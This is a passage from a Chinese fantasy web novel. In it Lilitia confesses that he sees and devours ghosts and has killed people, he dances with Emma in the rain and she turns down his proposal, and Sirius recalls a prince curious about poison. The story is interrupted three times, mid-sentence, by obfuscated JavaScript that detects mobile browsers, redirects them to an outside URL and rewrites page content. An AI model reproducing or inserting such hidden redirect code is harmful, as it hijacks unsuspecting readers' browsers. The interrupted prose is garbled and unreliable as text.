佣人们在空旷的宴会厅里围坐一圈,随着灯盏依次亮起讲述的一个又一个鬼故事,闷热里一阵虚无缥缈的凉意。 利利提亚的手仍然在她手心里,冷得确实。 “鬼魂?”艾玛问。 “如您刚刚所想到的,那些不祥的传说和故事。”利利提亚说,“鬼魂确实存在。它们是逝者的执念,灵魂脱离躯体却尚未消散的姿态。 “我能够看见鬼魂,从前,一直。” 利利提亚低头看了一眼,将手从艾玛松开的手里收回了。 “最初,我并没有认识到异常,因为我从出生开始就能看见鬼魂。 “鬼魂存在于那里,对我来说是理所当然的事,我以为别人也一样。 “我在宅院墙角,乃至祖父的病榻前,都能看到鬼魂环绕,并不觉得恐惧,只因为它们吵闹而烦躁。 “能见到鬼魂的人,往往身体孱弱,疾病加身,因为被鬼魂附身却无法摆脱。而我身体很健康。 “所以,我说自己能看见鬼的时候,别人都以为是在开玩笑。 “我那时候还太小,没有恶作剧的心思,也不懂谎言的意义。我说得太认真,不仅被长辈斥责,还惹佣人们恐慌。 “我母亲叫我去,拉着我的手,看着我的眼睛问我,是不是说了一个不好笑的笑话。 “她的手在颤抖。我意识到她的恐惧,知道她希望听见肯定的回答。 “所以我第一次为一句真话撒了谎,说,‘那里什么都没有’。 “她松了口气,其他人也放了心。 “我后来才了解,罗穆卢斯确也出现过不少生来看得见鬼的孩子。 “如果五岁之前看不见了,就性命无虞;如果始终看得见,基本活不过五岁。母亲唯恐我同那些夭折的孩子一样。 “后来我绝口不再提,他们就以为我是度过了那一劫,即使从前见过鬼,也已经不用担心,是可以当童年逸闻与幸运说起的故事。 “但我母亲不喜欢这件事,听见就生气,因此后来再没人说了。 “很多人忌讳鬼魂,对相关的事不敢听不敢言,像害怕招惹什么厄运。 “但我看得见,鬼魂像空气,像风,像昆虫草木,它们存在许多地方,几乎无处不在。 “在那些人大笑,议论传闻,庆祝或感叹时,鬼魂就在他们身边,看着他们,像一道比影子更忠实的影子。 “我有时觉得好笑。并不是只要否认了,看不见的东西就真的不存在,这些自欺欺人的言论比安慰更无力。 “但我开始不断为此说谎,装作和他们一样看不见存在于那里的东西。 . “我和鬼魂大多时候相安无事,它们就像看不到我一样,而我装作看不到它们,即使从它们身躯中穿过,也对彼此毫无影响。 “有的鬼魂无目的地四处游荡,有的鬼魂却攀附在某个固定的人身边。出于好奇,我开始探寻这其中的规律。 “鬼魂接近完全透明,面目衣着都模糊,难以判断身份,但从它们附身的人着手调查,很容易能找到对应。 “直接说结论:鬼魂所依附的,往往是它们生前有重要联系的人。 “有时是亲人、爱人、挚友,有时是置他们于死地,直接造成他们死亡的仇敌。 “往往是对于自己的死亡心有不甘的人才会变成鬼魂,比如生前有什么执念没完成,和亲友的约定未实现,这些强烈的念想都会促使它们停留人间。 “而对于杀死他们的凶手,鬼魂的执念和憎恨往往更强烈。 “通常情况下,人类死亡后,灵魂会逐渐消散,归于自然。而鬼是死去灵魂的异常状态。 “没有连接生物的躯体,违背自然法则存在,即使不做任何处置,它们也会逐渐走向消亡。 “可一旦它们依附于活人身边,自然法则的判定也会产生混乱。 “鬼魂会汲取活人灵魂里的‘生能量’,以此延长自己的存在时间。而‘生能量’被吸取的活人轻则疲惫,重则病痛,持续如此,肯定命不久长。 “但自然有一套相应的调节规则,很奇妙,像命运之河里的因果。 “和鬼没有因缘牵扯的生者,即使无意识接触到,也不受鬼魂任何影响; “如果是鬼生前密切的亲友,鬼魂怀抱着倾向于正面的情绪,对他们的影响会相对轻微,汲取的生能量较少,因此消散得也快,民间时常有那种亲友过世后大病一场的事,恐怕并非纯粹的悲痛所致; “如果是杀死那人的仇敌,则鬼魂的怨念最重时能直接将对方索命,可以依附仇人数月甚至数年之久,很难消失,带来的伤害也最重大。 “很有趣的规律不是吗?夺取越多的,能够被夺取的也越多,简直像是寓言故事——啊,这些不全是我的观察结论。 “我查阅了很多书籍,不少通灵师做过相应研究,我将那些理论和自己的观察相互印证,总结出了这套我认为可信的逻辑。 “那么,我和鬼魂互不影响也有了解释。 “我和它们生前没有任何因缘,理所当然它们对我毫不在意。 “我曾经尝试和一个鬼魂对视了整整一刻钟,意识到它并没有在看我,对它而言,我仿佛不存在于那里,这跟我实际有没有看到它毫无关系。 . “刚才提到过,有些漫无目的游荡的鬼魂。事实上,这类数量是最多的。 “许多死去的人仅仅是‘不想死’,不执念于什么活着的人或未完成的事,只是纯粹地想活下去,所以不愿消失。 “因为没有相应的执念,它们无法连接从活人身上取得生能量的因果;又因为没有执念,灵魂活动消耗的能量也低,所以仍能存在不短的时间。 “这部分鬼魂对活人并没有危害,但是鬼魂之间却存在冲突。 “鬼魂的强大与否取决于其生前的灵魂强度,因此也有天生的强弱高低。 “强大的鬼会捕食更弱小的鬼,就像进食,这种方式同样能延长它们的存在时间。 “所以弱小的鬼往往会远离比它们强大的同类,以避免自己的彻底消失和死亡。 “‘想要活下去’是鬼的本能,听起来像动物,但和动物仍然不同。 “它们没有真正的思考能力,无法对话,互相间也不能交流。 “鬼是已死的灵魂。已经死去的东西上,生长不出新的思考和感情。 “鬼魂总是无数次反复地、重复地、无时不刻地念叨着自己的愿望,但那些音节不对它们具有任何意义,只是一些活动噪音。 “它们所具有的执念是他们死去那一刻的定格,也只属于活着的他们。 “死去的鬼魂是那份念想下诞育出的,纯粹只有活着欲望的空壳。 “无论被因果贴上什么标签,导向什么方向,也不会有任何新东西从它们身上产生了。 “多么可鄙的本能啊。” . 利利提亚抓住了自己胸口的衣襟:“后来我逐渐意识到,我不仅仅是‘能看到’。 “我不恐惧鬼魂,但它们不间断的低语、那些无意义的重复音节令我烦躁。 “无论去到哪里,总能听到那些声音,不分场合,我要装作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“发现自己有能够触碰和杀死鬼的方法之后,我就开始寻找更有效的捕猎方式。 “大人们所宣扬的神明和信仰,我并不很相信,但那许多施加魔法的道具确实对鬼有效果。像是驱鬼的护身器具,我亲眼见过它们将鬼魂挡在防护之外。 “我学习了许多制作杀死鬼的法术和道具的方式,也得益于许多通灵师的成果。 “罗穆卢斯太多血债,通灵师的生意历来兴旺。至于彼时我还不能使用魔法,也很容易在城里找到了可以代工的工匠。 “最初,我定做了一把可以杀死鬼的匕首。它很锋利。 “只要我随便在身上划开伤口,鬼魂就会发现我。 “被我杀死的鬼会成为我的一部分,就像鬼魂吞噬其他鬼魂。 “这种‘进食’使我越加强大,也让我越来越接近于鬼。 “发现这件事的时候稍微迟了一点。我才意识到自己对于捕猎鬼的那种狂热,并非出于对那些噪音的积久怨恼,而是我自身本能的……饥饿。 “物质无法填补的饥饿,没有执念、没有情感的那一半死去灵魂里的空虚,仿佛这种捕食可以将它填满。 “可即使知道饮下毒药也只能缓解一时痛楚,乃至会带来更大的空虚,我也没有其他办法。 “我杀死了很多鬼。 “不知道什么时候开始,鬼魂们从看见我时会向我靠近,到一发现我就立刻逃离。它们恐惧我作为鬼的强大。 “而这样的负面效果也越来越明显。 “我的体温更加降低,心跳在变慢,原本便迟钝的情感能力近乎麻木。 “而我仍旧在渴望杀死鬼。甚至于,我渴望杀死其他人类。” 128.启示 利利提亚短暂地沉默了一会儿,指节抵了抵嘴唇:“让您见笑。我也自知不是什么道德感强烈的人,贵族阶级又多的是看轻人命之辈。 “只是,我有位高尚的母亲。 “在贵族中,她的思想近乎异类。 “不少人觉得她的慈善只是沽名钓誉的虚伪之举,我不否认她有考虑进利益的计量,但她对所有人性命的敬重货真价实,一视同仁。 “我童年时崇拜她异乎寻常。我不信神明信仰的宣讲,但相信她的话。 “那种杀戮的冲动与欲望,实际并不只针对鬼,我同样一直有杀人的渴望。 “只是我记得母亲的教诲,记得她所讲述的美德和道理,才一再克制。但这种克制非常痛苦。 “比起生理上的折磨,更令我绝望的,是我越来越清晰地明白:我与她的期望全然相悖。 “我何止没有那些同理心、那些善意和恻隐。我既不是个完全的人,又比魔鬼更像魔鬼。 “即使我装成她理想的孩子,那份理想和真实的我差距越大,就越让我了解:她永远不可能接纳真正的我。 “我曾一度怀疑自己存在的意义。 “我也无法分清,自己对于鬼的那种憎恶,是出自作为人的那部分自己,还是作为鬼抗拒其他同类。 “我否认我是和它们一样的东西,但在某种层面上,我确实清楚:我们并无不同。 “如果鬼的存在毫无价值,那么与鬼本质没有太大区别的我又算什么呢?” 利利提亚向艾玛抬起眼睛,眼睫动了动。 “我向您提过那座荒废的教堂。”他说,“我刚过十二岁就能使用魔法,杀戮的欲望与增长的能力一般变本加厉。我近乎自暴自弃了。 “我有时会溜去街上,城里,或者郊野,没有人认识我的地方,杀一些死了也没人在乎的人。 “最初虽然有心理负担,但一旦开了头之后,一切都变得轻易了。 “我体内同时存在着生和死的矛盾平衡,曾经只杀鬼魂的那段时期,平衡接近崩溃。 “直到我开始杀人,它竟然慢慢恢复过来,甚至那些麻木的情绪感知都有所恢复。 “就像是我不仅会吞噬鬼,同样也能吞食人。 “我知道自己不符合母亲的期待,憎恶着充溢这样卑劣本能的自己,不知道为什么要活着,又不愿死去。 “就在那时,我遇见了那座荒弃的月神教堂。 . “我走进教堂时,刚刚在荒野上杀过并不认识的人,身上沾着那人的血,还有自己划开以招引鬼的伤口。 “那里非常安静。安静到几乎莫名。 “我能听见自己的呼吸,心跳,甚至血流的声音。 “我走进去的时候没有任何拦阻,直到进去才发现,周围停留着几个无声的鬼魂。它们就像没有看到我一样。 “我身上的伤口还在流血,从来没有遇到过这样的状况。 “鬼魂里没有哑巴,总是无意义地、连续不断地发声,那几个鬼魂却全都沉默,向教堂中的祭台低着头。 “我不信罗穆卢斯那些教堂里的神像,鬼魂在石像边徘徊穿过时如遇无物。它们会恐惧避让的,只有那些施过法术的器具。而那也只是迫不得已的避开。 “我从未在鬼魂身上看见过这样的‘敬畏’。 “可祭台上的神像破裂缺损,光泽暗淡,甚至没有头颅。 . “我至今不能形容当时的感受。 “我走到神像前时,月光正从穹顶的空洞落到我身上。我没来由地感到颤栗,同周围那些鬼魂一样。 “我没有恐惧这种情绪。所以从前也没敬畏过什么东西。 “但那时我感受到的宁静,沉默,与某种庞大而广阔的力量,任谁都会在那种宽广面前感到自己的渺小。 “我因为感动而流泪。 . “那时候,我突然想通了一个道理。 “如果我是罪不可赦的,如果我是非死不可的,我便不应该还能站在那里。 “无论人类的道义规则如何评判,祂都不在乎。神允许我活着。 “如果我真的没有存活的价值,那么一定会有某个人奉行神明的旨意来杀死我。 “我意识到从前纠结的种种不过庸人自扰。本性和谎言在祂面前无所遁形,卑劣和欲望祂都知晓,欺骗没有意义。 “我的性命会在何时结束,神明一定自有安排。 “既然怎么样都没有区别,为什么不遵从自己的本心生活呢?” . 艾玛静默地听,直到这里才出声问:“那座教堂,你后来有去调查过它特殊的原因吗?” 利利提亚摇头:“很多奇遇要是深挖,总能说出许多‘原理’。我并不在乎那晚我见到的奇迹是什么。 “对我来说,那一刻我遇见的就是‘神启’。命中注定。我从那时开始真正信仰月神,并决定总有一天要前去祂的神殿。 “现在,这个愿望也实现了。” 艾玛沉默,沉默了很久,利利提亚只是微笑地望着她。 “……你说得很详细。”艾玛终于开口,声音缓慢,“我很惊讶……信息量太大了。” “没关系,您慢慢想,不用着急,也不用在乎我。” “还是会在乎一下吧。” 她的视线划过利利提亚的手臂,刚刚为他治愈过伤口的地方:“你现在有时候还会划开伤口。” 利利提亚举起双手:“我用了‘进食’这样的比喻,本质确实相似。这种欲望和需求是我的基础本能,请相信,我有在努力节制了。 “并且,信仰月神之后,我身体内部的平衡比从前稳定很多,那种无底的空虚和饥饿不再那么难以抵御。” “吞食鬼魂会更靠近鬼魂可以理解,但为什么杀死人类会更靠近人类呢?”艾玛问。 利利提亚摸着下巴:“好问题,或许是需要营养均衡……开玩笑的。 “被我杀死的人,不会变成鬼。那些本来要变成鬼的,能量会在转化成鬼之前被我吞食,就补充了我‘生’的那一面,大约是这回事。 “不过活人的能量比鬼要难消化得多,像之前守卫战的时候,因为短时间杀了太多人,吞噬的能量没消化完,连克蕾娜给我治疗时都受到了影响。” “这就是你战斗时能做出那些反应的原因?” “您在夸奖我的作战能力吗?我就当是这样。 “鬼那一半的灵魂也影响着我的身体,带来的特质方方面面都存在,这只是其中一部分。 “鬼魂似乎定格了生者最后的时刻,因此时间体感与人类完全不同,人类的动作对它们来说非常缓慢。我也有那一份视野,战斗时敌人的举止在我眼里就像慢动作,所以应付起来很简单。 “只 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利利提亚顿了顿,“只是个猜想。我从佣人地方听来过一件事。” . “母亲怀我怀了十一个月。那时罗穆卢斯的对外战争已经收尾,尤利乌斯的宅院里还关押着最后一批战俘,留待处决。 “出于避忌,我父亲本想等我出生之后再行刑,但是预产期已经超过,而我迟迟没有动静。于是他不再等待,命令兵士们动了手。 “而在那些俘虏被处决的当晚,母亲就生下了我。 “当时,他们都说那是……非常不吉利的征兆。” . “——就当听个故事吧。”利利提亚向艾玛微笑,柔和地说,“您看起来心情好了不少。” 艾玛愣了愣,才意识到自己确实放松了许多。 利利提亚将手伸出走廊外:“雨变小了。” “……时间不早了。”艾玛说。 “您要回去了吗?”利利提亚眨一下眼睛,“还有其他安排?” “倒不是……安排的话,你不担心一下天亮之后的工作吗?” “有将来的我担心就够了。” “你想得开是好事。” 利利提亚笑起来:“那怎么办呢——听说人说出自己保留很久的秘密之后,会觉得轻松很多。可能是这样的原因吧,我现在心情非常好。 “现在回去太可惜了,您能再陪我一会儿吗?” 艾玛说:“虽然跟我没什么关系,但假如我还是存在良心的话,不在这里叫停你,等有人加班的时候就会过意不去了。” 天空仍然是黑色的,雨幕比暴雨时稀薄了些,却仍然稠密,但有一角月光露了出来,洒在水面上。 利利提亚看着雨幕,忽然问:“您淋过雨吗?” 奇怪的问题。艾玛想了想:“小时候淋过,感冒了。” “但是现在的您,即使淋雨也不会生病了吧?” “应该是。”艾玛挑了下眉,“怎么了吗?” . 利利提亚走进雨里,转了半圈,向艾玛回过身来。 他伸出沾着雨水的手,递到她身前,向下的指尖滑落水珠,砸在地面。 利利提亚笑着对艾玛说: “请和我跳支舞吧——我再告诉您一个秘密。” 129.雨中 “跳舞?”艾玛看了看眼前的空地,“这里没有音乐。” “三拍的华尔兹,我可以直接唱拍子,随便您怎么跳,我不会踩到您的。” 利利提亚说,“在成为社交的名片之前,舞蹈原本也是通过肢体语言传达情绪的活动,没那么复杂。” 她盯了一会儿利利提亚的手心,伸出手,指尖先碰到坠落的雨幕,微温的空气,然后松松贴进他盛着雨水的掌心。 利利提亚拢起手,牵住她的指尖。 利利提亚向后退开,艾玛往前走了一步,鞋底踩进积水,细密的雨丝很快填进衣料里每一道缝隙,浸满后涌出,变成水滴,掺进雨幕里坠下。 “我很久没有跳过舞。”艾玛说,“如果踩到你,我会结束之后再道歉。因为可能会踩到很多次。” 利利提亚轻轻笑了一声:“我不会被您踩到的。” 她伸手搭上对方肩膀,利利提亚扶住她的腰,相牵的手折转角度,很自然地握在一起。 有点陌生。艾玛想。 或许是因为在雨里,或许确实太久没跳了,上次大概还是在费拉约尔斯的时候。 沙漠里不是没见过宴会,舞池比领主府邸夜宴的客厅更热闹,有人喝醉了唱啊叫啊,大笑着揽住舞伴画一个个七扭八歪的圈,有人起哄有人鼓掌,喧嚣更胜白天。 篝火的热度笼在她身上,温暖里蔓延出丝丝痒意。 那时她想,这似乎也挺有趣的。 可是西里斯不喜欢跳舞。 如果舞伴不是他,似乎也没有跳的意义。 . 利利提亚的身高只比她高一些,作为搭档正合适。 艾玛记得刚来到阿瓦托芬量制衣服时顺便测过身高,一百七十五厘米,比嘉兰还高一厘米。 她从前就觉得嘉兰的身高是最完美的尺寸,想着要是能长到那个高度就差不多了。 想要离西里斯再近一点,但是艾玛喜欢他低过头来和她说话的角度。 . 利利提亚的手指修长,握住她手的力道正好,不松也不紧。 指甲修剪过,指腹和手掌有茧子,但都很干净。 虽然说也有已经淋透了的缘故,但是这样近的距离,他身上没什么气味,香水或汗味都没有。 艾玛记得逛街时他提过不喜欢香水。利利提亚大约确实各方面的感官都敏锐,过于浓烈的气味便比较折磨。 但是能吃辣,也喝得了烈酒,虽然喝了就脸红,意识却很清醒。 他对酒水没有嗜好,又觉得太寡淡的酒无趣。 麻烦的人,但艾玛觉得挺有意思。 艾玛很少喷香水,她不想某种气味长久地干扰自己的嗅觉。 很多人,或者哪怕是器具,都带有一些独特的气味,仿佛也是鉴别他们的特质之一,艾玛喜欢去认识这些地方。 西里斯身上时常会有些药草的气味,有时浓烈一些。 艾玛知道他在自己面前不会点熏香,但即使通过风,那些香味也不会轻易散去。 当年跑到他房间趴在桌上休息时,桌面似乎都残留一点烟雾的味道。 人身上的气味也往往不固定,会受刚刚去过的场所和做过的事影响。 要据此判断西里斯刚刚做过什么大多时候有点困难,但她熟悉领主府邸的角落,总能找出些头绪,乐此不疲地猜测。 哦,还有凯。艾玛勾起一点明亮的美好回忆。 曾经有段时间,只要傍晚四点多碰到他,艾玛就能闻到他身上食物的气味,砂糖奶油或者椒盐香料,就能猜出他又偷偷溜去厨房蹲守,便默默地凝视他。 长身体的孩子们都容易饿,凯显然很明白同志的不易,不负所望地避人耳目为她捎来今天的菜单,有时还附带厨房顺出来的点心。 被嘉兰发现会比较糟糕,迪尔看到则好得多,只要也分他一份就能封口。 但是最近,西里斯身上的气味是怎么样的? 回忆追寻到沙漠中的残片似乎就断开了。 她越长大,西里斯离她越疏远。幼年时不甚在意的肢体接触,成年后便全没有了。 沙漠广阔,但居所狭隘,那时他们似乎还接近过一些。 是那次争吵之后吗?明显的断裂。 来到阿瓦托芬之后,更是连空间距离都拉开了。 即使偶然接近,艾玛也不再能从那些气味里判断出他做过什么。熟悉却陌生。 . 利利提亚唱的节拍很准确,像掉到地上跳跃的雨点,轻快地落在她耳畔。 艾玛有点走神,动作很放松,每一步的拍子都踩准了,但不确定动作对不对。 或许多转了两圈,或许多迈了一步。 但他们都没踩到对方,这没有章程的舞步意外和谐,并不让人觉得匆忙慌乱。 艾玛模糊地想,她确实知道,她和利利提亚很有默契。不是因为了解对方才产生的那种默契。 而是彼时彼刻,她在曲谱上并没有设计的位置向前迈了一步,利利提亚却在她迈步前已经向后退开。 就像是镜子。 艾玛从他身上照见自己。 某些思维方式上的同调和共性。艾玛隐约并不想承认。 她无所谓利利提亚的异常,但他们都知道那于常人而言是不正确的,不属于人类的东西。 在西里斯还假装恶魔跟她玩童话游戏的时候,艾玛便已经透过他的角色看见,“你比人类更像人类”。 他们是不相同的。艾玛已经知道。但她至今不能承认。 只有同类能彼此理解,只有同类能彼此靠近。 如果她和西里斯是不同的,就永远会有差异横亘在他们之间。 如果她所具有的其实与他相反……或许,就永远不会被西里斯接纳。 艾玛不能忍受那种假想。 她否认这种可能的存在。 . 那一步迈出去得过于用力,脚步落下时溅起高高的水花。 利利提亚及时将她挽回来,转了个圈,卸掉了多余的劲。 他的手臂很稳定,每个动作都简洁。 还好穿的是平跟鞋。不是出席宴会的场合,艾玛不喜欢太高的跟,或许也是受到嘉兰影响。 嘉兰也跟她跳过舞,虽然她比当时的艾玛高上好一截,其实是不合适的。 她们跳得并不规矩,在意识到这个身高差距会让很多标准无法实行后,便更放弃了。 嘉兰牵着她的手臂转圈,转着转着笑起来,突然抱起她,原地转了数圈。 艾玛双脚离地,秋千那样绕着她荡完几周,才被嘉兰放下来。 嘉兰回过神便觉不好意思,很失了礼数,咳一声解释,她妹妹喜欢跟她这么玩。 艾玛仍然时不时会想到嘉兰,像想到一个远在他处的姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634312|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那种怀念仿佛比她跟那对同父异母的弟妹的血缘更紧密。 她很喜欢嘉兰,欣赏她的个性和才能,喜爱她们相处的方式。 艾玛曾以为是这样的缘故,对于嘉兰喜欢西里斯的事,她才毫无妒忌心。 克蕾娜有一次旁敲侧击,以她的话术,也可以说是直问:她最近有不少时间和西里斯独处,虽然他们双方对彼此绝没有多余的意思,但终归是,她担心艾玛为此不高兴。 艾玛听见问题的第一反应居然是意外,甚至有些困惑。 她这才重新深思了一遍这个问题,后知后觉地意识到,她从来不担心西里斯喜欢上其他人。 是很不讲道理,莫名其妙的信心。 或许在她听说嘉兰喜欢西里斯时,有那么一瞬间,那份笃定曾动摇过,因为嘉兰在她看来也十足的好,但紧接着听到的就是她被婉拒了的消息。 那颗心落地的时候,没有一点茫然吗? 如果连嘉兰都不够好,什么样的人才会被他喜欢呢? 艾玛想了想,或许是因为她知道,她比其他人都更了解西里斯,分享着独属于他们之间的契约和秘密。 纵使她和其他人对他过去的了解也不差多少,但她仍然一定是最靠近他,距离他心脏最近的那一个。 也或许是,在此之上,她相信着—— 西里斯如果不喜欢她,更绝对不会喜欢上其他人。 这份信心似乎不是对于他,而是对于……她自己。 . 艾玛很少有执念的东西。 她对大部分事情全都无所谓,即使偶尔升起一点热情,什么想做的事没实现,沮丧和那些念想都很快流水般褪去了。 因为不在乎的东西太多,所以艾玛自己都没发现,对于她真正执着的东西……她从来不假设无法实现的可能。 想要的东西一定会得到,追求的愿望必定会实现。 那是女巫的笃信。 . 别的东西都无所谓,放弃也没关系。 只有西里斯绝对不行。 . 她在雨中转了个圈,湿透的裙摆尾部仍然在动势里甩开了,像一朵半开的花。 那一圈转得很好,连滑进他手臂中的角度都像计算过般准确,力道正好撞满在臂弯里,被利利提亚稳稳地接住了。 却似乎动势仍旧满溢,从臂弯又撞进了怀中。 像一个拥抱。 她听见利利提亚低低的笑声,从耳畔来,但艾玛看不见他的眼睛。 原本应该扶在她腰边的手按在她背心,与之相对的,艾玛感受到他极近的心跳,只隔着两层皮与骨,共振般,频率不同地,混乱地响动。 利利提亚的躯体冰冷,唯有接近心脏的位置温热,在反衬下甚至显出一分烫人。 他们应该互相牵住的手仍然相握着,雨水滑过他们手掌间,湿润而不切实的凉意。 雨势没有减弱,仍然泼洒般从天空倾倒,一丝丝一缕缕地浸过他们长发,从末梢落下去,汇融在一起。 夏季的温热与躁动的震响在雨声里苏醒,又被雨水的凉意下压,直至雨水也浸过热意。 月光落下来,雨声落下来,呼吸落下来。 利利提亚的呼吸落在她肩上,在笑声里颤动着。 “……您上次没有告诉我,想听见什么样的求婚。”他在笑声里叹息,“怎么办啊。” 130.漂浮 沉默持续了数秒,艾玛松开他的手,抵着利利提亚的肩膀拉开距离。 利利提亚从善如流般站正了身子。 “你知道我会拒绝。”艾玛说。 “是的。”利利提亚仍然微笑,“但假设只是一种可能,说出口的才会变成事实。如果要被拒绝,我想听您亲口说呢。” 艾玛说:“有时候我也不能理解你在想什么。” “很高的赞美。” “抱歉。”作为前题的答复,艾玛简短地回答。 利利提亚抵着嘴唇,眨了眨眼睛:“真简洁啊。” 艾玛拨了拨自己湿透的长发,那些凌乱黏在身上的发丝被拨拢在一起:“你还有什么要说的吗?” “嗯……我刚刚被拒绝了,因为太伤心,所以忘记原来想说什么了。”利利提亚神色认真。 “这样。”艾玛没有太在意。 “或许下次遇到合适的时机就会想起来。”利利提亚停一下,弯起了眼睛,“会有那种机会的。” 艾玛点点头:“好。我要回去了。你的衣服……自己看着办吧。” “当然不会劳烦您第二次。”利利提亚笑,“我也很快回去了。天还没有亮……那么,晚安,女巫殿下。” “晚安。”艾玛向他摆摆手,“——假如你还打算休息的话。” . . 艾玛回到房间的时候,桌上的钟面指针划到凌晨两点多,雨开始变小,天空变成了浅一些的黑色。 她脱掉湿透的鞋子,解开裙上的纽扣,赤着脚踩上地毯,去浴室给自己放了热水。 魔法能直接解决很多问题,但艾玛暂时需要这些步骤,让她感觉自己仍然是个实际存在的人,而不是什么漂浮在空气中的物质。 刚放出的热水有点烫人,她舀起水试过温度,用法术将它调节,然后固定在了适合自己的水温。 坐进浴缸好一会儿,那些热气渗进皮肤,蒸汽雾蒙蒙地漫开,她迟来地感到一丝困倦。 直到体温恢复过来,她才意识到刚刚固定的水温偏低了。但也没什么紧要。 艾玛拿过浴巾,擦干身体,换了身新的睡衣。 女巫的房间不似外界闷热,又不像神殿的长廊凉得发冷,是艾玛最感到舒适的温度。 她用法术沥去刚刚洗过长发中的水分,走出浴室时仍然没有完全沥干,但趁着那阵倦意,艾玛倒在床上,卷过被子就阖了眼睛。 . . 荷尔贝拉往往在早晨九点来找艾玛,她们约定过时间。 但是早上她收到了利利提亚的纸鸽,信上让她今天迟一点去。纸鸽身上被雨水打湿了几滴,墨痕洇开了两点。 荷尔贝拉五点醒来,那时雨势已经很小。 轻骑兵队最近没有什么忙碌的事,她收拾完,替人传了几封讯息,也才八点过半。 无论如何,还是提前去等待女巫殿下比较好。 她习惯为凡事留足预备方案,假如有约,会提前起码半个小时到约定地点,和艾玛约定的时间也一样。 她曾经八点半就到了女巫房间门前,过了半刻钟,艾玛打开门,叫她进去。 艾玛说听见了她的声音,便只能少睡一会儿懒觉,让荷尔贝拉下次不要提前来。 荷尔贝拉经过训练,自觉动作足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634313|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够轻,脚步落地于石砖都能不发出一点声响,很意外于艾玛能听见她抵达的动静。她不认为是隔音的问题。 如果这种程度的动静便能将艾玛惊醒,那么荷尔贝拉终于理解,为什么议会安排的神殿守卫巡逻路径绕开了她的房间。 所以她后来总是九点出发去找艾玛,路上那十几分钟是为她懒觉的预备。 往往等荷尔贝拉站定在门口,艾玛就开始梳洗,一切正好。 她有点拿不准今天要迟多久过去,利利提亚的传讯太简洁,没有多余的说明信息。 荷尔贝拉最终九点半来到了艾玛房门前,比平时迟了一点,又不太多。 外面的雨已经停了。她正犹豫是否就这样站在门前等待,房门便咔嗒一响,打开一道空隙。 艾玛仍然穿着睡衣,头发简单地拢了拢,正坐在沙发上,看着窗外。 窗帘拉开半道,房间里光线朦胧。茶几上放着吃过的点心,手里拿着杯茶,并不是刚刚才醒。 她的发尾还沾着点潮意,微微反着光,像是淋过昨夜那场大雨。 荷尔贝拉一时不知该问什么,从何问起。 艾玛向她回过头来,一如往常地和荷尔贝拉打了招呼,仿佛这是个并无不同的早晨。 但招呼完,艾玛并没有起身换衣服的打算,只是盯着她。 荷尔贝拉在视线面前下意识畏缩,又能敏锐地分辨,那目光更像透过她在思索什么。 艾玛只看了一会儿,便移开视线,落到手中的茶杯里。 她转了一下杯子。 “贝拉。”艾玛没有看着她,问,“神殿女巫的‘誓约礼’流程是什么?” 131.亚历克斯 深红色的绒面窗帘上印着颜色更深的暗纹,绣着金线的花边,厚实地挡住了整面窗户。吊灯上每一颗水晶都有数十个切面,打开时能将深夜的房间照亮得如同白昼。 但日常使用不需要这么高调,只有书桌上方那盏雕刻古朴的黄铜吊灯点着偏黄的暖光。 墙边有书柜,里面的书籍外壳精美,装饰大于实用,还有些矿石和雕塑摆件。另一面墙上装设着数排长长的置物架,摆满挂着标签的瓶瓶罐罐。 许多贵族觉得在瓶颈缠绕细绳、串上标签更优雅,实际全然比不上粘贴的标签便利安全。 另一侧有沙发,地毯的绒线很长,踩上时能盖住侧边的鞋底。但书桌上没有桌布——这不安全。做过这样的声明后,那块镶金线的绣布就被卷起来收进柜子。 柜台上有一只摆钟,内部机械设计精巧严密,他拆开看过一次,又复原了回去,钟摆嗒嗒摇晃的声音稳定悦耳。 真让人惊讶。西里斯想。 他居然在梦中还能回忆起这么多细节。 他曾经确实在这个房间里消磨过不短的时间。 梦里他像曾经无数次那样熟练地用滴管吸取溶液,有时是用镊子夹起矿石,移到另一个容器上方,将东西投进去。 然后透明的器皿内物质便会相互反应,沸腾,变色,直到最后均匀沉淀。 很基础的实验,对他来说早已不新奇,但对面的男孩趴在桌上,漂亮的绿眼睛盯着容器里的变化,一眨不眨。 男孩有一头微微卷曲的黑色短发,柔顺光洁。 衣饰繁琐贵重,现在却不大在乎形象地把脸贴在桌面上,任由袖口散开。 桌面一角堆着推开的书本,中间夹着缀有主人名字的书签,从书堆顶上垂下来:亚历克斯。 艾佩庇里亚的第二王子亚历克斯。 大王子和先王一样有着明亮的金发和绿眼,但二王子仿佛过渡了母亲的色调,发色和眸色都暗上许多,眼里的绿色也深一些。 据说他们的妹妹有着和母亲一模一样的长发,但那位小公主极少出门,外界对她了解很少。 等到反应完毕,他才向男孩宣告实验成功,在桌面的纸张上写下程式。 但不等他说明原理,亚历克斯已经拿起容器,向椅背上一仰,将它抬高对着灯光打量。 溶液在器皿里摇晃,沉淀物质又浮起来。 “真神奇啊。”亚历克斯叹息般说,“这样的毒药,掺进水饮里一滴,喝下就会死吗?” 